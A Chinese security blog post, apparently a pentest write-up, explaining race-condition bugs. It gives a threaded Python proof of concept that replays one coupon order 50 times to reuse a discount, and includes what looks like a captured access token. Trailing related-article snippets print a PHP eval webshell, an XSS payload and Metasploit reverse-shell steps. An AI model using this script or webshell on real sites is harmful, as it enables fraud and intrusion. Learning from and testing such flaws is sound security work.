条件竞争漏洞测试

概念:

竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞。

曾经出现过的漏洞:

网上大部分是使用转账的列子来说明的,曾经乌云提现环节就出现过这个漏洞,当时大神也是提现到账3000块,官方24小时紧急修复,承认提现有效。美滋滋,但愿乌云早日归来,仍是少年。

今天在渗透测试中,刚好碰到了此类漏洞,就简单实践下。

使用一张200块的优惠券,可以重复下单多次,达到一张优惠券,多次使用的目的。

基本方法就是,在提交订单的时候,抓取包,然后然后然后构造脚本,进行多线程并发操作。

备注:这最初一直使用burp intrude 的模块,设置如下:

payloads  payload type: Null payloads

payloads options [Null payloads] Contunue indefinietly

Options Number of threads: 20

死活测试不出来,不知道是不是因为这个模块,默认会发送一次请求包的原因。

最后构造Python脚本,成功复现此漏洞。

coupon_poc.py 如下:

#!/usr/bin/env python
#coding: utf8
#author: by Gandolf

import requests
import json
import threading
import queue

url = "https://www.baidu.com/api/xxx/"

payload = {"couponDetailId":56194,"email":"[email protected]","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2}

headers = {

        ‘Accept‘: ‘application/json‘,
        ‘deviceId‘: ‘fcc62818-9949-21c4-0832-5396fea4363b‘,
        ‘languageId‘: ‘en‘,
        ‘appVersion‘: ‘8‘,
        ‘deviceType‘: ‘android‘,
        ‘deviceMode‘: ‘Google Nexus S‘,
        ‘platformVersion‘: ‘4.1.1‘,
        ‘countryId‘: ‘PH‘,
        ‘accessToken‘: ‘eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I‘,
        ‘Content-Type‘: ‘application/json‘,
        ‘Content-Length‘: ‘106‘,
        ‘Host‘: ‘www.baidu.com‘,
        ‘Connection‘: ‘close‘,
        ‘Accept-Encoding‘: ‘gzip, deflate‘,
        ‘User-Agent‘: ‘okhttp/3.12.0‘,
        ‘Cache-Control‘: ‘no-cache‘

        }
threads = 25

q = queue.Queue()

for i in range(50):
    q.put(i)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url, data=json.dumps(payload), headers=headers)
        print(r.json())

if __name__ == ‘__main__‘:
    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for i in range(threads):
        t.join()

此类漏洞一般出现在:签到,积分兑换,转账,优惠券,提现,文件上传等环节。

完!

原文地址:https://www.cnblogs.com/hack404/p/11369166.html

时间: 2024-11-09 21:57:53

条件竞争漏洞测试的相关文章

moctf 没时间解释了 条件竞争漏洞

moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句话木马shell.php,内容<?php @eval($_POST['pass']);?>,可以直接上传,但是马上内容会被修改为too slow 方法: 修改内容会有时间,我们不断的上传这个文件并且不断的访问,会有一次我们正好访问到真正的shell.php 因为服务器修改内容是很快的,所以我们得用

浅析条件竞争

[原理] 竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突.Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏等问题. 举一个小例子,下面这段代码定义了两个函数,不看get_flag正常情况下function是输出"NO permission!"但由于变量access是全局变量,在get_flag中被global了,于是在线程运行的过程中利用时间差,get_flag函数就可以改变access的初值,即改变了函数

各种Web漏洞测试平台

Sqli Lab?支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1/sqli-labs DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等常见的一些安全漏洞.http://www.dvwa.co.uk/ mutilli

Web应用进行XSS漏洞测试

转自:http://www.uml.org.cn/Test/201407161.asp 对 WEB 应用进行 XSS 漏洞测试,不能仅仅局限于在 WEB 页面输入 XSS 攻击字段,然后提交.绕过 JavaScript 的检测,输入 XSS 脚本,通常被测试人员忽略.下图为 XSS 恶意输入绕过 JavaScript 检测的攻击路径. 常见的 XSS 输入 XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");<

使用Docker如何搭建Web漏洞测试环境?

本文和大家分享的是使用Docker搭建Web漏洞测试环境相关知识,希望对大家学习Docker有所帮助,一起来看看吧. 由于一直在做 Web 漏洞扫描器的开发, 那么就必然少不了 Web 的漏洞测试环境, 其中就包括 bWAPP.DVWA.OWASP WebGoat 等这些国际品牌. 这些漏洞环境一般搭建比较繁琐, 而且出问题后有不能像 git 那样方便的'回滚'操作, 当然你可以使用 esxi 来管理, 不过虚拟机仍然会存在定期快照.回滚操作较长等繁重操作. 那有没有轻量级的能够快速搭建 Web

MS08_067漏洞测试——20145301

MS08_067漏洞测试 实验步骤 search MS08_067查看相关信息 show payloads命令查找需要的攻击载荷 选择generic/shell_reverse_tcp来获取漏洞主机的shell set payload generic/shell_reverse_tcp选择payload show options查看需要修改什么属性 按照上述信息,进行相关设置 可以通过修改target的值,来选择我们具体想要攻击的计算机系统(可默认不修改) 设置完成后,使用exploit命令发起

MS14-064 漏洞测试入侵——20145301

MS14-064 漏洞测试入侵 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术 执行摘要 此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞.最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码.成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码.如果当前用户使用管理用户权限登录,则攻击者可随后安装程序:查

CMS-熊海网站内容管理系统漏洞测试

开门见山 在虚拟机中搭建网站,本机访问http://192.168.31.68/ 一.SQL注入获取管理员账号密码 1. 点开一篇文章,存在get请求参数 2. 手工注入无果,使用sqlmap,后跟-p接指定参数,验证是否存在sql注入 sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid" 3. 爆数据库 sqlmap.py -u "http://192.168.31.68/?r

SpringMVC中的XXE漏洞测试

SpringMVC框架支持XML到Object的映射,内部是使用两个全局接口Marshaller和Unmarshaller,一种实现是使用Jaxb2Marshaller类进行实现,该类自然实现了两个全局接口,用来对XML和Object进行双向解析.并且XML文件可以是DOM文档.输入输出流或者SAX handler. SpringMVC流行使用注解来快速开发,其中JAXB注解可以对JavaBean中需要与XML进行转化的地方进行标注.比如,实现XML文件到User对象的映射,User对象中使用J